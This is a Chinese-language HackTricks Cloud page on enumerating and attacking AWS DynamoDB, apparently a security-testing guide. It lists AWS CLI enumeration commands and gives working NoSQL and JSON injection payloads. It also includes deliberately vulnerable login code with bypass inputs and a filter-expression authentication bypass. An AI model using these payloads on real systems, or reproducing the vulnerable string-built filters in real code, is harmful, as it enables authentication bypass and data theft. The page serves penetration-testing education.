AWS - DynamoDB Enum
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
DynamoDB
基本信息
Amazon DynamoDB 被 AWS 提供为一个 完全托管的无服务器键值 NoSQL 数据库,旨在支持高性能应用程序,无论其规模如何。该服务确保了强大的功能,包括固有的安全措施、不间断的备份、跨多个区域的自动复制、集成的内存缓存和便捷的数据导出工具。
在 DynamoDB 的上下文中,创建的是表,而不是建立传统数据库。每个表都要求指定一个 分区键,作为 表主键 的一个组成部分。这个分区键,实质上是一个 哈希值,在项目检索和数据在不同主机之间的分配中起着关键作用。这种分配对于维护数据库的可扩展性和可用性至关重要。此外,还可以选择添加 排序键 以进一步细化数据组织。
加密
默认情况下,DynamoDB 使用一个 属于 Amazon DynamoDB 的 KMS 密钥, 甚至不是至少属于您账户的 AWS 管理密钥。
备份与导出到 S3
可以 安排 生成 表备份 或按 需 创建它们。此外,还可以为表启用 时间点恢复 (PITR)。时间点恢复为您的 DynamoDB 数据提供连续的 备份,持续 35 天,以帮助您防止意外的写入或删除操作。
还可以将 表的数据导出到 S3,但该表需要启用 PITR。
GUI
有一个用于本地 Dynamo 服务的 GUI,如 DynamoDB Local、dynalite、localstack 等,这些可能会很有用:https://github.com/aaronshaf/dynamodb-admin
枚举
# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field
#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename
# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>
# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>
# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>
# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints
未经身份验证的访问
AWS - DynamoDB Unauthenticated Access
权限提升
后期利用
AWS - DynamoDB Post Exploitation
持久性
DynamoDB 注入
SQL 注入
有方法可以使用 SQL 语法 访问 DynamoDB 数据,因此,典型的 SQL 注入也是可能的。
NoSQL 注入
在 DynamoDB 中,可以使用不同的 条件 来检索数据,就像在常见的 NoSQL 注入中,如果可以 链式添加更多条件以检索 数据,您可能会获得隐藏的数据(或转储整个表)。
您可以在这里找到 DynamoDB 支持的条件:https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html
请注意,如果通过 query 或 scan 访问数据,支持 不同的条件。
Note
实际上,Query 操作需要在 主 键中指定 条件 “EQ”(等于) 才能工作,这使其 更不容易受到 NoSQL 注入(并且还使操作非常有限)。
如果您可以 更改比较 或添加新的比较,您可以检索更多数据。
# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space
原始 Json 注入
Caution
此漏洞基于已弃用的 dynamodb 扫描过滤器!
DynamoDB 接受 Json 对象以 搜索 数据。如果您发现可以在发送的 json 对象中进行写入,您可以使数据库转储所有内容。
例如,在请求中注入:
'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'
攻击者可以注入类似于:
1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0
修复“EQ”条件,搜索 ID 1000,然后查找所有 Id 字符串大于 0 的数据,这就是全部。
另一个 使用登录的脆弱示例 可以是:
scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])
dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))
这将容易受到以下攻击:
username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
:property Injection
某些 SDK 允许使用一个字符串来指示要执行的过滤,例如:
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
您需要知道,在DynamoDB中搜索以替换属性值的过滤表达式时,令牌应以**:字符开始**。这些令牌将在运行时替换为实际的属性值。
因此,像之前的登录可以通过以下方式绕过:
:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

